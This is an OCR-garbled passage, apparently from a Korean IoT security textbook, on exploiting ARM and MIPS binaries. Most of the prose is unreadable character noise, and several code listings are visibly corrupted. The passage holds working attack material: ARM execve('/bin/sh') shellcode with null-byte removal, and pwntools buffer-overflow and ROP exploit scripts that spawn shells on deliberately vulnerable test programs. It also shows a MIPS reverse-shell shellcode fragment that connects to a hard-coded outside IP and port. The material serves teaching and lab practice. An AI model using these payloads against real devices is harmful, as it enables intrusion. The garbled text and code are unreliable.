move $sp, $fp $sp Ofl $fp of ME
b $L2 2t (2 2 27|
bne $t1, $t2, $L2 $t1, $t2 7t ZX| RLCHH 2t 12 2 &7
10.3.3.3.3. Shellcode

BHAE Yots BY A2 A%} Shellcod
32 e 237w
Ay FR 018 2

£ N ESHo ALEotC AR JAO|M HWSH= Buffer Overflow 2|
A b 0

IS HSH M7H)7F Z2{ UKX| OO Shellcode 7t A& =ICH NX 7t

HZ2 257/ Qo] AJEEE 0|28 MX|t pwntools 2 22l 7hs8Ct E{O|E0|A $pwn checksec [file
name] YEIZ ALE3SIH ECH

y@ubuntu:~/Desktop/i0tS pwn checksec netservice
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[#*] "/home/y/Desktop/iot/netservice’

Arch: i386-32-little

RELRO: Partial RELRO
Stack:

NX:

PIE:

a8 227. NX 227|'H0| Z2{AX| 22 Hio|{2] ot
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1. Shellcode M|t

Shellcode M|Zf2 x86-64 2F &L5HAH O{EEE[E 0|8t 34 ZE Y =>

HIx 0= NIt x86-64, ARM, MIPS B5 2 X}0[7} gieB=E A % 0| &3t EQE TISHCE ARM 2
32HE QAEYMZ MBS ARM ZEQ 16 HE QIAEH NS Xﬂ%ﬁrf Thumb B E7} EX|SHC} K| AH
S CPSR(Current Program Status Register) 2| X| 2B = o1Xf ZEE MESH=O|, Thumb state &2 4(0] 0 ¢
42 ARM mode, 121 Z2 Thumb mode & HHMEICH 32 HHEQI ARM ZEE AT 22 shellcode O NULL
210| Bto| MH |0 shellcode 7t HAh AMML|X| = AL £ strepy() 2] 8% EAIE S EAlSHE
IHHOIM NULL 242 L ZXHES| S22 Q450 SALE SX|THC}E O] B2 shellcode 2 EET FALE|7|
= 0f| shellcode 7} E& XX @=Lt

>
_I_"F_
%

7t 71282l execve("/bin/sh", 0, 0)& HMSIE shellcode HHNH2 CHS
OIX}Z 10, r1, 12 Of MESIEZ mov HEO
11 HO|B2 70 11 € X% = svc £ 0|83}

I ZCl ARM 2 & 3=

0|83t BXIAHE MESICL execve 2| syscall B Hz &=

El

=

vim 2 0| 83}0{ codes OtYS =Y

.section .text

rok

Ct.

.global _start

_start:
add 10, pc, #12
mov r1, #0
mov r2, #0
mov r7, #11
svc  #0

.ascii "/bin/shwo0"

O17IM r0 HXIAHO| "/bin/shw0" ZAFES MESH| ?I8H pc XA #12 & HOHUCL O O|sdt7|
?leiM = ARM TIHEC| HAE HY Fx0f ARM OF7|HIHO| ZE A& UY F 7HX[ S LOtof otrt
X HWZ ARM Mo HAE G —_rl_7.<_O|IZ|- ARM 2 HIAE g9 I[E 22 H2 ofzfof siE TH=0fA
AH&dte EXE0| M Wt pe off Mot gts Hallx=H XS0 F2g = ALY
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3 int _ cdecl main(int argc, const char **
T main

main

[R11,#var 8]

alnput

DCD alnput

off_1e49C

13 228. ARM HAE g 2z

O|C}. fetch - decode - execute 3 EtAZ FME|0 O, fetch &

T HW= ARM OF7|EiMo] RE Al HfAl

FHHE 7tHRe 9Y, decode & YHOE diA5ts AL, execute = YHOE A= g2 HIYDC
Ofgfe| AT CPU 7| =XtH2 2 0| THAE HATICIH, fetch B =F fetch 2 HEYS= &2 decode,
execute F&E0| ML= 2 THAE 7|0{0f S22 H|Z2 20| LAlSHA ECt

[ fetch I decode I execute I fetch I decode I execute I fetch I decode I execute ]

gl 229. & & fetch - decode - execute 7+

ZIHBICE fetch 7 2tE2E FH 0= decode

o|z{st HIEES dl|Z23}t7| sl BWEZE fetch - decode - execute & %!
o
o

THAZ FO7HA B[4, fetch = Tt BE O E 0|2 7FMq2Ct

[ fetch I decode I execute ]
[ fetch I decode I execute ]
[ fetch I decode I execute ]

13 230. A fetch - decode - execute X

THA Flol BFO M0 S07t7] HE0 pc = mov r2,

{20 add r0, pc, #12 7} execute THAZF E|H pc & 2
2 pcOIM 12 2H2 BO{XH ULCH

#0 2 7t2|7|2 YA E=ICt WaEkA "/bin/shw0" &AL
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.ascii "/bin/sh\8"

3 231. PC + #12 = "/bin/sh"

&l codes LtUS as £ 0| 80t0] ALY = objdump & 0| &30 LIES =QISHC}

$ arm-linux-gnueabi-as code.s -o code.o

$ arm-linux-gnueabi-objdump -d code.o

ZIHE 2B NULL O] Tt d 9 & AS =l 7hs5tCt

e28f3001 #1
el2fff13 » ]
ane2 re, pc, #8 ; (adr re, 14 <_start+0x14=)

2100 ri, #o
2200 r2, #o
270b r7, #11
dfes a

1c09 ri, r1, #0
6e69622f Ox6e69622f
0e68732f _ 0x0068732fF

3 232, Ch42] NULL O] ZE =l shellcode

NULL & HMAH3H= De-Nullifying XS StCE ARM O A De-Nullifying 219 A2 Thumb mode £
0| 83}0f shellcode € MZSt= ZO|Ct 4 HIO|E th2 ZEE|H HHS 2 HO|EE F0|7| ME0| NULL O]
HMO{X|A EICL Of2fe] ZE F code 32 £22 thumb mode 2 BHA5}7| 2st ZE0|H code 16 £E22 thumb
mode 2 4%t FEO|L}. thumb mode A= HEHO| 2 HIO|E THe[QID|, 2 HIO|E EFR{O{= 4 HIO|EQ| Hi=E
X FOF 57| W20 mov 15, 15 & F71510| ZO|E 4 2| Hi==2 SHHFRUCH EoH mov B S0M 02 YT
NULL & HA3t7| I8, 2IXIAE0| 02 ME Al xor HitS RS EF MBS, sve #0 CHA

=
o o —
S A S St sve #1 2 0|85t syscall 2 = EPHCL
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.section .text
.global _start
_start:

.code

add

bx

.code
add
eor
eor
mov
svc

mov

.ascii "/bin/shwo0"

32

16

r3, pc, #1
r3

r0, pc, #8
r1, r1, rl
r2, r2, r2
r7, #11
#1
r5, r5

/ol REE Huf

Disassembly of section .text:

USHH “/bin/shiw0" F Ofl

e2873001

el2fffi13
a0ez
4049
4052
278b
dfe1
1cad
6e69622fF
ee68732f

add
bx
add
eors
eors
movs
svC
adds

.word
.word

EX5t= NULL € M 2/5t2= NULL 280| 25 Ar2kEICt,

pc, #1
pc, #8 ; (adr ro, 14 <_start+0x14>)
ri
r2
#11
r5, #0
Ox6e69622f
Ox0068732f

12! 233. De-Nullifying Z1}
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"/bin/shw0" ZXtL

QmMBE HolT

—

28 Al strb - 0{E 0| 85}0] "/bin/sh" F

o

F1O] NULL & HMAHSEZ|RI8H strb HHEOE ALESICL strb BEO= EX S
2ol Z+E HASIE HHOZ, "/bin/sh" F/0| NULL CHAl OF2 2XHE HO{M NULLS A &
| 2+ CHA| NULL 2 HZASI =M =IC}

.section .text
.global _start
_start:

.code 32

add

bx

.code 16
add

eor

eor

strb

mov

e

.ascii "/bin/shX"

r3, pc, #1
r3

r0, pc, #8
r1, r1, rl
r2, r2, r2
r2, [r0, #7]
r7, #11
#1

Disassembly of section .text:

2 E NULL HA 2=

—

Mz 2=2E AEE hexdump £ 0|80 H

ez28f3001 add
el2fffi13 bx
aeez add
4049 eors
4052 eors
71c2 strb
276b movs
dfe1l SVC
6e69622T .word
5868732f .word

, pc, #1

, pc, #8
ri
r2
[r&, #7]
#11

Ox6e696221
Ox5868732T

; (adr ro, 14 < start+0x14=)

113 234. De-Nullifying &

I=

sht

—

$ arm-linux-gnueabi-objcopy -S -O binary -j .text code.o code.bin
$ hexdump -v -e "W¥x" 1/1 "%02x"" code.bin

y@ubuntu:~/iot/shellS hexdump -v -e

\x01\x30\x8f\

X73\x68\x58y@ubuntu:~/iot/shellS

"MV /1 "%e2x™’
2\ x13\xff\x2f\xel\x02\xad\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\

coded.bin

13 235. hexdump £ 0]
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shellcode 2| J& &= HAESH| flet HAE ZEE Aottt buf 2 AIO[=E 30 22 X FHIUX[E,

— —

A
gets & AH&SH0! buf 27| 0J42| LIOJE{E S 4 /0] BOF 210l #ysts BEL

mjo

#include <stdio.h>

#include <string.h>

int main() {
char buf[30];

printf("buf addr : %p¥#n", buf);
puts("input >>>");
gets(buf);

printf("input : %sWn", buf);

return 1;

ARM Ot7 |9z Huts TAHSICE 7o 22 s852 dd Ot 2= 7|8S2 oiMsts ZH= otz
oz AmMAUS T Al BE2 7| Y S0| X &l Tt

$ arm-linux-gnueabi-gcc -o test test.c -fno-stack-protector -no-pie -z execstack

Ao = gdb-multiarch 0|&310] x86 £tZ0|A ARM HIO|HZ|E gdb £ C|HZ 7+SSICt CHS

0| &3t0| main g4-& 2 QIotC}

o=
o
2
i

$ gdb-multiarch -q
$ file ./test

$ disas main

11$ gdb-multiarch -q
pe . [test
R’adlng symbols from ./test...(no debugging symbols found)...done.
gdb-pedas disas main
Dump of assembler code for function main:
0x0001045¢c <+0>: push {ri1, 1r}
0X00010460 <+4>: add rii, sp, #4
0x00010464 <+8>: sub sp, sp, #32
0X00010468 <+12>: sub r3, ril, #36 ; 0x24
0x0001046¢C <+16>: mov ri, r3
0x00010470 <+20>: 1dr re, [pc, #52] ; Ox104ac <main+80=>
OxPOA104T4 <+24>: bl 0x10324 <printf@plt>
0x00010478 <+28>: 1dr re, [pc, #48] ; Ox104b0 <main+84=>
AXAAAIAATEC <+32=: h1 Ax1A33c _cputs@plt=
0x00010480 <+36>: sub r3, ril, #36 5 x24
0x00010484 <+40>: mov re, r3
0x00010488 <+44>: bl 0x10330 <gets@plt>
UXUUULIU4BC <+48>: sSub r3, ri1, #30 HE v
0x00010490 A mov ri, ra
0x00010494 6> 1dr re, [pc, #24] ; 0x194b4 <main+88>
0x00010498 <+60>: bl 0x10324 <printf@plt>
0x0001049c : mov r3, #1
0x000104a0 A mov ré, r3
0x000104a4 3 sub sp, rii, #4
0x000104a8 B pop {ri11, pc}
0x000104ac B andeq ré, ri, r8, lsr #10
0x000104bo 3 andeq re, ri, r8, lsr r5
0x000104b4 g andeq ré, ri, r4, asr #10
End of assembler dump.

13 236. gets 2| r0 MY 1
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r11 2IX|AEHE return address 7t A& El AB FAE X F S}

o
r11 X AEO Ml =4 7o) AHR[E A4H5t0] Ho|lZES

o =
U3y wg F2E 11

- #36 2 AHAFsIE=R

address £ buf 2| A|& FA2 HZASHH EICL

g 923 dE= Ch3ak 20

o K| AE{OICE 2k YE Bhe AEfO] A0t

HYSHH ZICH main+36 2t main+40 A gets 2
HO|2ZE0| shellcode+dummy & 36 HE %4 =, return

#!/usr/bin/python3

from pwn import *

p = process(["gemu-arm-static”, "-L",

# get buf addr
p.recvuntil('addr : )

buf = int(p.recvline()[:-1], 16)
success(f'buf : {hex(buf)})

# make payload // shellcode len = 28

shellcode

"/usr/arm-linux-gnueabi”, "./test"])

b'¥#x01¥Wx3 0Wx8Wxe2 Wx 1 3 xfTitx2 fiftxe 1¥x02Wxa0Wx4 9 W x4 0¥x 5 2 Wx 4 0Wxc2Wx 7 TWxObWx2 7Wx0 1¥#xd fWx 2 f¥x 62

Wx69%x6eWx2fittx7 3 x68Wx58'
payload = shellcode + b'A"' * 8 + p32(buf)

# get shell
p.sendline(payload)

p.interactive()

2Z =AM HAEE I8l pwntools 2| process EH+E
ke
TIAlsHH E L)

fshell$ python3 exploit.py
[+] Starting local process '[fusr/bin/gemu-arm-static':
[+] buf : exfffef13e
*] Switching to interactive mode

0| 83}0 gemu-arm-static
SiCt |IA0M 7]7|1 8 CHMY 2 HAEE AL remote(IP], [PORT]) &5 0|8310 ¥ ¢4 5 HAEE

oA BOIHZE

pid 6189

: BB\x8f\xe2fYxFf/\xe1}Yxa0I@rR@\xc2q\x0bYxdf /bin/shXAAAAAAAAG\XF1\xFe\xFF

uid=1000(y) gid=1000(y) groups=1000(y),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126

(sambashare)
1s
code4.bin code4.s

coded.o exploit.py test test.c

1%l 237. shellcode &

shellcode € 0| &
CiYot &4 wHo| EXSIEE 420 X3 shellcode £
150

Mgsto] W

Jiot
an

5101 telnetd, sshd 52| AMH|AES ABMA|F|HLE, AKX MHZ Z|HA S M&sts S50
HESH AFRSH =iCt
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2. Exploit Database

Exploit Database(https://www.epxloit-db.com)0f A= CtSt OF7| & X 2| shellcode
shellcode 7t SZXt2| ip, port Bt =H3t0] A ALEE = U7] W20, ZF shellc
AE HYSICL Exploit Database Q! HO|X[OfAl &l =

ULt SHELLCODE O|#2| 2% Quick Search O|Al OI7|HIME U=stH

shellcode £ AtE%t=

SHELLCODES H&HE &

= UL

shellcode = 50| LtEFHCE

(M & httpsy/fwww.exploit-db.com/shellcodes

HLEXPLOITDAT, -

ﬁ SEARCH EDB
.!| SEARCHSPLOIT MAN

4 suemissions

EXP

T Filters W«Reset All

=
=
o

d
=

RISt QCt Chgge
2 Zpy5}7|BCt B
MEto] OjRg F2o

Chosst

2lBA S AZS Fi
a1
o

=
=
2ol ALRBI0] UZOIM 2 2lH2 AE S 7}

i

shellcode

v Quick Search | MIPS

_ . Z 2%t shellcode HY = ALS e - N hor

#* X | Linux/MIPS - N32 MSB Reverse Shell Shellcode Linux_MIPS Marco Ivaldi

* x| Linux/MIPS64 - Reverse (localhost:4444/TCP) Shell Shellcode (157 bytes) Linux antonio

O o Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse RS TR

- (192.168.2.157:31337/TCP) Shellcode (181 bytes) - q

#* x| Linux/MIPS64 - execve(/bin/sh) Shellcode (48 bytes) Linux_MIPS antonio

#* X | Linux/MIPS (Little Endian) - chmod(/etc/shadow 666) Shellcode (55 bytes) Linux_MIPS Sang Min Lee

13 238. Exploit Databse 2| shellcode
= T H AL -Hd = S N HHO A >3

shellcode & H#EHEH ip 2t port 285t= £20| EXfoict WY F22 =8

[/ xor technigue

# "\x24\x@e\x21\x21" /7 1i $t2, Ox2121
// connect(sock, {2, @x5ac2, ©@x5db8d822}, 18)

o "u26\x@d\xef\xf8" [/ addiu $a8, $s@, -0x1818 # sock

v "\39\xcc\x21\x23"  // xori $t8, $t2, @x2123 # 2
“\xaZ\xac\xffixec" // sh $t@, -28(%sp)

Q "\x24\x@c\x5a\xc2" [/ 1i $t@, Ox5ac2 # 23234 << XXX port
"\xa7\xac\xffixee"” // sh $t@, -18(%sp)
"\x24\xBc\x5d\xb8" // 1i $t@, Ox5db8 # 93.184 << XXX ipl

B “\wal\xac\xfA\xf8" [/ sh %t8, -16(%sp)
"\3A\x@c\xdB\x22" // 1i $t8, Oxd822 # 216.34 <« XXX ip2
"\xa7\xac\xff\xf2" // sh $t@, -14(%sp)

yoi)

"7 \xa5\xfF\xec"
39\ xchb\x21\x31"
"\x24\x02\x17\x99"
"\x@1\x01\x81\xec"

// addiu $al, $sp, -28

/ xori $a2, $t2, Bx2131 # 16
/11 $v@, 8x1799 # connect (@x1799)

[/ .byte 0x@1, 8x01, 8x@1, OxOc # syscall

13 239. shellcode 2| ip, port 28 2 &
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10.3.3.3.4. ROP

QIE x86-64 Of7|HIX 2t SUSHAH ARM, MIPS Ol HZ HHEZ 0[S ROP 7t 7t=s5tCt. Q1 x86-64 2
Olaet FAE AE MY = ret YO E 0|83510] ROP E TIASHX|TH, ARM It MIPS & I = & HEQ
HY2 0|8t & FAR FHII0] ROP E TIEICH ARM 2 QIEH x86-64 2F SLUSHAH FAE AR MZE
= X AEZE O|SAIA b, bx, bl, bix 2t 22 BE Es= & A Eo FHS 0|8 siyd FAE HISHALL
DESH0] ROP & AL, MIPS £ Ol FAE 012 YX|AH M = jrEe jalr BHE 0|83t 342
ZIH ST}

SEX|2F, RISC FZ=Q CISC 7tZ=H Xt0|of 2|8 ARMRISC)OIA = Q& x86-64(CISC)It CHEH AFEE = /Us

gadget = Tot= AO| Of&ECLCL CISC & CfYet HHO7L EXst, YO ZOo[7t 7HHK 0| 7| E0| gadget
d90| 2| ?LtRISC= FFOQ =7t MetHo|1 Z0|7F 7Y &|0f 0| R;StE gadget & R7| ©SL.

ROP 34 & & YT _libc_csu_init 2 0|88 342 ARM 2HZ0|AM HEBICL _libc_csu_init 2 ZE &
AEHO| MEE HOIHE YXIAHEZ O|FA|7|= gadget2 o HX|AHO &7 =2 HO/EHE &9 QXZ
A8 5t= gadget! 2 AREDHCL

Ltext:8ealedarC loc_184FC ; CODE XREF: _ libc_csu_init+5@4j
Text:eaaledrc ADD R4, R4, #1

Ltext:aaala508 LDR R3, [R5],%#4

.text:BA018504 MOV R2, RO o4 su@ ﬂga%';tég —
- text: 80018508 MoV RL, R8 —|R7, RS, RO2! H0lEE RO, R1, R2Z 013,
LText:a8818568C MOV R&, R7 R3g =42 27|
Ltext:ea818518 BLX R3

Ltext:eael8514 CHP RG6, R4

.text: 00018518 adget2
Ltext:8e81851C POP {R4-R1@,PC} _." A0 HEE HO|EE YT AW 01FAY
.text:8801851C ; End of function _ libc_csu_init

O3 240. _libc_csu_init LH52] gadget(ARM)

ofgfel ZEE A = arm-linux-gnueabi-gcc £ 0| 85t0] ZImMAZ TIWSICH AATAEES HdIEH HE|E 2/l
system &5 0|83l /bin/sh & HAA|7|= S57F EXSts AS QY &= UCEL HAO 7 Al &2 E 2o
gt+=E 0|83t0 T2l = R0 37Hsts Hools i &5 AXSHO{of SHX|TH AH|ISHK| 41 S7HSH=
70 QUCE 7HL0| AFESIRE HAEE o0 Cfgt &2|7t 0|Z5tH BOF &2 0|83l siE &d+=E ==
H4 Y HH0| 7t = ULL

1> EQST
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//arm-linux-gnueabi-gcc -z norelro -fno-stack-protector -o arm_rop arm_rop.c
#include <stdio.h>
#include <stdlib.h>

void ROP_get_shell(int isLogin, int authLevel) {
if(isLogin == 1 && authLevel == 1){
system("/bin/sh");

}
int main(void) {
char buf[100];
printf("buf : %pWn", buf);
read(0, buf, 1024);

return O;

fra
o
0x400 3 7|2tF read S5 0|3 YHY= A= & t. O|Z O 4 AERO| buf 2| 3 7|2HF
ool ZEE HYUs) 28 FAE BXRSEA, gadget 0|83 ROP 342 L7 F oot a0 2 &= UA
st
Jtext:00018484 ; int _ cdecl main(int argc, const char **argv, const char **enwvp)
Jtextegeledsd EXPORT main
Jtext:eeeledsdd main ; DATA XREF:
Ltext ; @eale484 ; .text:off
Jdextieeeledsd
text:eealedsd buf = -Bx63
dext: 08016484
Jtext: 08016434 PUSH {R11,LR}
Jtext:ea18488 ADD R11, SP, #4 b=
. text:BBO1BASC B 5P, 5P, ¥oxes |—p| Sub {?_mfﬂﬂ;'f“
text: 00616498 =B B, RIl, #-buf 5=
Jgext:epeledod MOV R1, R3
Ltext eeele493 LDR R@, =aBufP 3 "buf @ Epin"
Ltext:eeale49C BL printf
Jdext:eBel16448 SUB R3, R11, #-buf
A A ERE
text : 00818444 | mov R2, #@x4BB  |—gwel mg’gﬁg nu:l}é g
Ltext 1 BE8184A8 MOV R1, R3 ;b - =
Jexteealedac MoV R&, #& ; Td
text:epal0460 BL read
Jgext:eeeledbd MOV R3, #&
Jdext:eeeledBs MoV R&, R3
JdextieealedBC SUB 5P, R11, #4
Tdext:ee8184C8 POP {R11,PC}
text: 88816408 ; End of function main
Jtext: 08010400
O3 241. main g 4 - FUH 2d A
AAZZQL gadget] O S5 A2|0| Wt B gadget] 2 Idr BHOIS 0|83 159 F20) AL US
r3 0 MZStCt O 20| HO|ZEE US| Mo HEHe| 7HY YF20 T30 Olse &2 FAE M

t. & =0
= 17,18, 19 Of e ¢S =MUZE 10, r1, r2 2 O|SAIZ|L2, bix FHOE 0|83 HZ0f r3 Of

o
Q2 9
MM
il
L
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HO|ZEE 2EY g2 F&, HO|RE, gadget2, HI{2)

Rl
oA
els
B olir
rlo
ol
>
<
¥0
rir
oot
>
ujn
i
I
ro
il
[
o)
>

p = process(['gemu-arm-static’, -L', '/usr/arm-linux-gnueabi',"./arm_rop'])
context.log_level="debug’

buf = Oxfffeeffc # H{IHO| A|Z} F&

gadget_1 = 0x1051c # pop {r4, r5, r6, r7, r8, r9, r10, pc}
gadget_2 = 0x10500 # Idr r3, [r5], #4

ROP_get_shell = 0x10440 # &t ROP_get_shell 2| F2

# stage 1 = call ROP_get_shell

payload = p32(ROP_get_shell) # 2 =g ot FAE AR HE
payload += b"A"*100 # C{0| G|O|H 100 HIO|ELQ} gadget2 & &
payload += p32(gadget2) # 2| FA& gadget2 2 HZE

payload += p32(0x0) # r4
payload += p32(buf) # r5 => HIH2| A|Z} F=A

payload += p32(0x0) # r6
payload += p32(0x1) #r7 => a0 2| 242 12 &3

payload += p32(0x1) #r8 => a1 2| 42 12 &3

payload += p32(0x0) # r9
payload += p32(0x0) # r10

payload += p32(gadget1) # pc => gadget1 O MU E|HN M- 52 QAXE 0|85t o+ A

p.send(payload)

p.interactive()

Python3 & 0|83l M5 system("/bin/sh”)0| A2l 0]

4
mjo
ot
Jin
ot
>
30
o
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eqst@egst-virtual-machine:~/ of$ python3 exploit.py
[+] Starting local process 'Jusr/bin/gemu-arm-static': pid 15124
[ ] Sent ©x8c bytes:

00000000 40 41 41 41 41 41 41 41 41 41 41 41 41 l@ AAAA AAA
Al AaaA|

00?00010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA AAAA AAA
A AAAA

*

00000060 41 41 41 41 41 41 41 41 | AAAA | AAAA
00000070 I

00000080 |

0000008cC
[*] Switching to interactive mode
[ ] Received 0x11 bytes:

b'buf : exfffeeffc\n'
buf : exfffeeffc

id

[ ] Sent ©x3 bytes:

b'id\n'
[ ] Received 0x7b bytes:

b'uid=1000(eqst) gid=1000(eqst) groups=1000(eqst) ,4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),116(1padmin),126(sambashare)\n’
uid=1000(eqst) gid=1000(eqst) groups=1000(eqst) ,4(adm),24(cdrom),27(sudo) ,30(dip
).46(pluadev) .116(1padmin) .126(sambashare)

:I_EI 242. *JI g|= S id I'gE1 %xl- k= XoJ|

T

MIPS OIME _libc_csu_init € O|8% ROP 7} 7h53SICH ARM 2F S LA _libc_csu_init OlA 2 70| 7HAIS

Attt

Jtext:08400810 loc_488818: # CODE XREF: libc csu init4784
Ltext: 04088160 Iw $t9, @(%se

Ltext: 408814 addiu $s1, 1( : gadgft1(csu1)
.text:0B480818 move  $a2, $s5 — g+ =2=2 94|

. text : 08400810 mml,re ial, $s4 K| AE{ 0| HEHEl HIO|E| =
Ltext: 08400320 jalr t9

.text: 08400324 r]nwe Ta0, TsT $a0, $al, $a2, $t9= O|5A|H
Ltext: 004080828 bne $s2, %s1, loc 468310

Ltext:8848882C addiu Fs@, 4

LText:aa4a8830

Ltext 084885830 loc_48883@: # CODE XREF: _ libc_csu_init+581]
text:08480330 1w $ra, @x38+var_4(%sp)

Lfext: 084003834 1w $s5, @x38+var_8(%sp)

Lfext: 08400338 1w $s4, Bx38+var_C(%$sp)

text:ee4e083C 1w $s53, Bx38+var 18($sp) gadgetZ(csu2)
.text:a0400840 1w 552, Bx38+var_l4($sp) [~ AEHQ|| X EE OO|ES
Ltext 00400844 Iw $s1, @x38+var_18(%sp)

Ltext 100406848 Iw $s8, @x38+var_1C(%sp) gIX|AE = O] SAZ
text:0840884C jr $ra

Ltext: 8488858 addiu $sp, Bx38

.text:08400850 # End of function _ libc csu_init

33 243. _libc_csu_init L5 2| gadget(MIPSEL)
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ofgfe] AEE Zd = mipsel-linux-gnu-gcc & 0| 8510] ZHImMAS TIH ST}

// mipsel-linux-gnu-gcc test.c -o test -no-pie -z norelro -fno-stack-protector
#include <stdio.h>

void admin(int isLogin, int authLevel) {
ifisLogin == 1 && authLevel > 3)
system("/bin/sh");

int main() {
char buf[0x20];
printf("buf : %pWn", buf);
read(0, buf, 0x500);

return O;

ALY E mYS HAHEM 0x4007C8 Ol A $sp 2| 4fS $fp Ol MBS $sp & $fp = S alE A=t 0| &
0x400800 Of| A read | & HH® QX2 buf($fp+0x40+var_28)S AHBICL buf($fp+0x18)2t 2| H L]
T2 ($sp+0x3c)THA[2] AHE|7} 36 0|22 37 7 0|2 ZXAtE UHY ZS BOF 7t LUstH 2|
7+SStEt.

rm
S
k>

i

e o
b
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Ltext:804887EC main: # DATA XREF: LOAD:8848835CTo

JtewteedpavBC # Ttext+l8To

Ltext:eadaavBC

Jext:eed4aaVBC var 38 = -@x3a

Jhext:eedaavBC var 28 = -@w2a

Jext:eedsavBC var 8 = -8

Jext:eedpavBC var 4 = -4

Ltext:eadaavBC

Ltext:884887BC addiu $sp, -Bxdad

Jtext i ea48a700 W $ra, @xdet+var_4(%sp)

JtextaanapnTCa AT ffp. Bxdbtvar plllcad

text: 0848073 mave $fp, %sp }—.- $fP_Q|- $SP% %%ﬁl}" -’é'igl

LLEXL: JCC I7 TEQP, GxFlaAE

Jtextiea4ea7D4 W $gp, @xde+var_38(%sp)

Jhext 88488708 addiu $v@, 3fp, Ox48+var_28

Ltext : 884887DC mave $al, Fwve

. text:BB4BB7ED lui w8, Bxde

Ltext:884887EL addiu $a@, $ve, (aBufP - ex4eeeea) £ "buf Ephn"

Jtext:884887EE 1la $v@, printf

text:BB4BBTEC move $t9, $ve A v g =4 E

Ltext:884887Fe jalr $t9 ; printf A4 X

.text:B84887F4 nop $fp+0x182 =%

Jtext:aedea7ra 1w $gp, exde+var_3e(3fp)

et ARARRTEL 14 a2 _BuSan it nh} Bs

L text : 88100500 addiu $ve, $fp, @xdddvar_ 28

L text : 98100504 mave $al, Fwve # buf

Ltext:eadeased move $a@, HIero # Td

Ltext : 8848858C 1la $ve, read

Ltext: 884803168 mave 3t9, Fwve

Ltext: 88480314 jalr $t9 : read

.text:@B480818 r]mp $sp+0x3ctf| HEEH &=

.text:8848881C 1w $gp, @xdd+var Sralfl HE

Ltext: 88480328 mave Fv@, Fzero

,text :BA4BRE24 mave $sp, $fp

text: 88488828 1w $ra, @xde+var_4(%sp

.Text:BedBes 20 Tw BTp, Oxdbtvar ol &sp)

Ltext : 004803368 addiu fsp, Bxdp

text: 08400334 jr %ra ‘_,.. HEE] 7= A =]

[:text:MESB nop Sraffl MTHE =42 $Pc 42

Ltext:88488838 # End of function main

% 244. main B4 A1 - FOHE LA gl

ARM 1} S5IA ALAZ=2QS TASCE X AHO| MY #4E 280 M2 ME = csu2, csul 74
=02 TEZ St ECh A5 AEQ admin() B=0M if 22 0[85t0] A B Xt & B Xt gt
ASHIOR a0, a1 2| HS EUO| LA HY 2 admin A4S SHH Y ST 4 AUrt

# solve.py

from pwn import *

context.log_level="debug’

p = process(["gemu-mipsel-static”, "-L", "/usr/mipsel-linux-gnu", "./test"])

csul = 0x4008a0

csu2 = 0x4008c0

admin = 0x400740
p.recvuntil(: )

buf = int(p.recvline()[:-1], 16)
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payload = p32(admin) # 2EY g FAE &

payload += b"A" * 32 # HO|H|O|H 32 HIO|E fadmin 6.:.*-’F— | &4 4HIO|EE YESHH
# & 36 HIO|EZF Y3 &[0 ChZ YR H BOF 7 &

payload += p32(csu2) # 2| FAE BX

payload += b"B" * 28 # $sp & SFF7| ?IsH G O| HIO[E &

payload += p32(buf) # $s0

payload += p32(0) # $s1

) # $s2

payload += p32(1) # $s3 => a0 2| &2

payload += p32(4) # $s4 => a1 2| &2

payload += p32(0) # $s5

payload += p32(csul) # $ra

]

payload += p32(0)
244

w =

EE_Ef 4y 2 AﬂJH

p.sendline(payload)

p.interactive()

£ 0| &3}
y@ubuntu:~/mips S python3 solve.py
[+] _tartl g local process
[ ] Received 0x11 bytes:

b'buf : ex7ffffibs\n’
[ ] Sent 0x61 bytes:

python3 £ MBI system("/bin/sh”)0] Ml |0 HS & 55 4 QUL

'fusr/bin/gemu-mipsel-static’

argv=[b'gemu-mipsel-static', b'-L', b'/usr/mij

00000000
00000010
000000208
00000030
00000040
00000050
00000060
ARARARAART

[*] switching to

s

[ 1
b'ls\n'

40
41

141

42
42

Sent 0x3 bytes:

41
41
42
42

41 41 41 41

41 41 41 41
40

42 42 42 42

interactive mode

[ ] Received 0x16 bytes:
b'solve.py test\ttest.c\n’'

solve.py

test

test.c

41 41 41 41
41 41 41 41
42 42 42 42
42 42 42 42

@ @ |AAAA | AAAA |AAAA
AAAA | AAAA | AAAA | AAAA
ARAA @ |BBBB | BBBB
BEBEB BBBB | BBBB |[BBBB
BBBB

e
|

% 245 9 25 2 1s Y 5 =
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10.3.3.4. Format String Bug

1.708

ojn
o
w|
<l

.
m]

IH

ol
KO
ol

RF
a4

F

2
=

printf, sprintf 2f

=
—

ol
0
|
<l

.
m]

H
J

Mo o7 M=, =2 AR

=
—

ol A At-ESt

i

¥

|

hF] =)

|

Ko

@ o

REAE fir

L e s PN PN =S

— | K | T =

OLOATATuﬁnam =

H|ic| %0 S|=| |no

B0 o | po| o | go| 3 \an | K

e RN R AR A

Q|Ro|<U <M oK | 2| oH| &
o

E_Dndr.lr.lCXSH

MESIRIEINIREIEIRS
5
H

orl

"
Ho

[oV]

oju

JoO

lude<stdio.h:

¥
*

int main(){

)

fgets(buf, sizeof(buf),

printf(

-

printf(buf);

U= >> aaaa %p %p %p %Bp %p %p

£ 2> > vulnerable: aaaa (nil) 0xb01fd300 Oxfffef51c (nil) 0x61616161

0x20702520

fgets(buf, sizeof(buf),

return

LB >> aaaa %p %bp %p %p %p %p

Z3>> not vulnerable: aaaa %p %p %p %p %p %p

O| string 2&

UL

ofl

M=o, 242 {8 ARM 2HZ0|M 2 =

ol

o Wi A2t
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ARM I} MIPS = ¢t & A| QX MEE QI8 r0-r3 E= a0-a3 HX|AHE HA AFE3StD, 1 O|AtQ| QIXl=
AERO| M EA|ZICH
ARM r0 r1 re r3
Stack Stack
MIPS a0 al a2 a3
orzf AtRI2 ARM OfAM CIHAHZE 0|83t HX[AEHI AES =05 ZHO|CH FY ZE MW ZAotet
Hluwsi 2, XIAH 0 £E 3 7HA| XAYHHE ZHot 5 A =g ZQIHSP)E 0|85t AEH HO|HE
=33t A ¥ + ULt
- aaaa ) (nil) 0x61616161 | 0x20702520
=7 (nil) 0xb01fd300 | Oxfffef51c
(*Oxfffef51c) (*Oxffffef518) | (*Oxffffef51c) | (*Oxffffef520)
